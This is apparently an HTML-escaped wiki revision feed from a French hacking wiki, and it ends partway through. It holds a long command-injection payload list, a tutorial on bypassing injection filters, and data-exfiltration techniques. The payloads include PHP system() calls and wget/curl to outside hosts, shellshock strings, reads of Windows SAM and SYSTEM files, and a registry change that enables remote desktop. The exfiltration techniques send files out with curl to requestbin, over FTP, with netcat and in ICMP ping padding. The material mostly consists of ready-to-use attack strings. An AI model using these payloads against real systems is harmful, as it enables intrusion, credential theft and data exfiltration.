XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 10&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 5&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc&amp;quot;);?&amp;gt;&lt;br /&gt;
 :phpversion();&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 ;${@print(md5(RCEVulnerable))};&lt;br /&gt;
 ${@print(&amp;quot;RCEVulnerable&amp;quot;)}&lt;br /&gt;
 ${@print(system($_SERVER['HTTP_USER_AGENT']))}&lt;br /&gt;
 pwd&lt;br /&gt;
 | pwd&lt;br /&gt;
 ; pwd&lt;br /&gt;
 &amp;amp; pwd&lt;br /&gt;
 &amp;amp;&amp;amp; pwd&lt;br /&gt;
 \r&lt;br /&gt;
 | reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 ; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp;&amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 \r\n&lt;br /&gt;
 route&lt;br /&gt;
 | sleep 1&lt;br /&gt;
 ; sleep 1&lt;br /&gt;
 &amp;amp; sleep 1&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 1&lt;br /&gt;
 sleep 1&lt;br /&gt;
 || sleep 10&lt;br /&gt;
 | sleep 10&lt;br /&gt;
 ; sleep 10&lt;br /&gt;
 {${sleep(10)}}&lt;br /&gt;
 &amp;amp; sleep 10 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 10&lt;br /&gt;
 sleep 10&lt;br /&gt;
 || sleep 15&lt;br /&gt;
 | sleep 15&lt;br /&gt;
 ; sleep 15&lt;br /&gt;
 &amp;amp; sleep 15 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 15&lt;br /&gt;
  {${sleep(20)}}&lt;br /&gt;
 {${sleep(20)}}&lt;br /&gt;
  {${sleep(3)}}&lt;br /&gt;
 {${sleep(3)}}&lt;br /&gt;
 | sleep 5&lt;br /&gt;
 ; sleep 5&lt;br /&gt;
 &amp;amp; sleep 5&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 5&lt;br /&gt;
 sleep 5&lt;br /&gt;
  {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 sysinfo&lt;br /&gt;
 | sysinfo&lt;br /&gt;
 ; sysinfo&lt;br /&gt;
 &amp;amp; sysinfo&lt;br /&gt;
 &amp;amp;&amp;amp; sysinfo&lt;br /&gt;
 system('cat C:\boot.ini');&lt;br /&gt;
 system('cat config.php');&lt;br /&gt;
 || system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 | system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp;&amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt')&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')&lt;br /&gt;
 system('curl https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 systeminfo&lt;br /&gt;
 | systeminfo&lt;br /&gt;
 ; systeminfo&lt;br /&gt;
 &amp;amp; systeminfo&lt;br /&gt;
 &amp;amp;&amp;amp; systeminfo&lt;br /&gt;
 system('ls')&lt;br /&gt;
 system('pwd')&lt;br /&gt;
 system('pwd');&lt;br /&gt;
 || system('sleep 5');&lt;br /&gt;
 | system('sleep 5');&lt;br /&gt;
 ; system('sleep 5');&lt;br /&gt;
 &amp;amp; system('sleep 5');&lt;br /&gt;
 &amp;amp;&amp;amp; system('sleep 5');&lt;br /&gt;
 system('sleep 5')&lt;br /&gt;
 system('sleep 5');&lt;br /&gt;
 system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')&lt;br /&gt;
 system('wget https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('whoami')&lt;br /&gt;
 system('whoami');&lt;br /&gt;
 test*; ls -lhtR /var/www/&lt;br /&gt;
 test* || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test*; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 $(`type C:\boot.ini`)&lt;br /&gt;
 &amp;amp;&amp;amp;type C:\\boot.ini&lt;br /&gt;
 | type C:\Windows\repair\SAM&lt;br /&gt;
 ; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 type C:\Windows\repair\SAM&lt;br /&gt;
 | type C:\Windows\repair\SYSTEM&lt;br /&gt;
 ; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 type C:\Windows\repair\SYSTEM&lt;br /&gt;
 | type C:\WINNT\repair\SAM&lt;br /&gt;
 ; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SYSTEM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 uname&lt;br /&gt;
 ;uname;&lt;br /&gt;
 | uname -a&lt;br /&gt;
 ; uname -a&lt;br /&gt;
 &amp;amp; uname -a&lt;br /&gt;
 &amp;amp;&amp;amp; uname -a&lt;br /&gt;
 uname -a&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 ;/usr/bin/id|&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;};/usr/bin/perl -e 'print \&amp;quot;Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\&amp;quot;;system(\&amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\&amp;quot;);'&lt;br /&gt;
 () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11&lt;br /&gt;
 | wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)&lt;br /&gt;
 &amp;amp;&amp;amp; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 which curl&lt;br /&gt;
 which gcc&lt;br /&gt;
 which nc&lt;br /&gt;
 which netcat&lt;br /&gt;
 which perl&lt;br /&gt;
 which python&lt;br /&gt;
 which wget&lt;br /&gt;
 whoami&lt;br /&gt;
 | whoami&lt;br /&gt;
 ; whoami&lt;br /&gt;
 ' whoami&lt;br /&gt;
 ' || whoami&lt;br /&gt;
 ' &amp;amp; whoami&lt;br /&gt;
 ' &amp;amp;&amp;amp; whoami&lt;br /&gt;
 '; whoami&lt;br /&gt;
 &amp;quot; whoami&lt;br /&gt;
 &amp;quot; || whoami&lt;br /&gt;
 &amp;quot; | whoami&lt;br /&gt;
 &amp;quot; &amp;amp; whoami&lt;br /&gt;
 &amp;quot; &amp;amp;&amp;amp; whoami&lt;br /&gt;
 &amp;quot;; whoami&lt;br /&gt;
 $(`whoami`)&lt;br /&gt;
 &amp;amp; whoami&lt;br /&gt;
 &amp;amp;&amp;amp; whoami&lt;br /&gt;
 {{ get_user_file(&amp;quot;C:\boot.ini&amp;quot;) }}&lt;br /&gt;
 {{ get_user_file(&amp;quot;/etc/hosts&amp;quot;) }}&lt;br /&gt;
 {{4+4}}&lt;br /&gt;
 {{4+8}}&lt;br /&gt;
 {{person.secret}}&lt;br /&gt;
 {{person.name}}&lt;br /&gt;
 {1} + {1}&lt;br /&gt;
 {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;br /&gt;
 {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;br /&gt;
*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93580</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93580"/>
		<updated>2023-12-02T18:56:30Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Unix */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
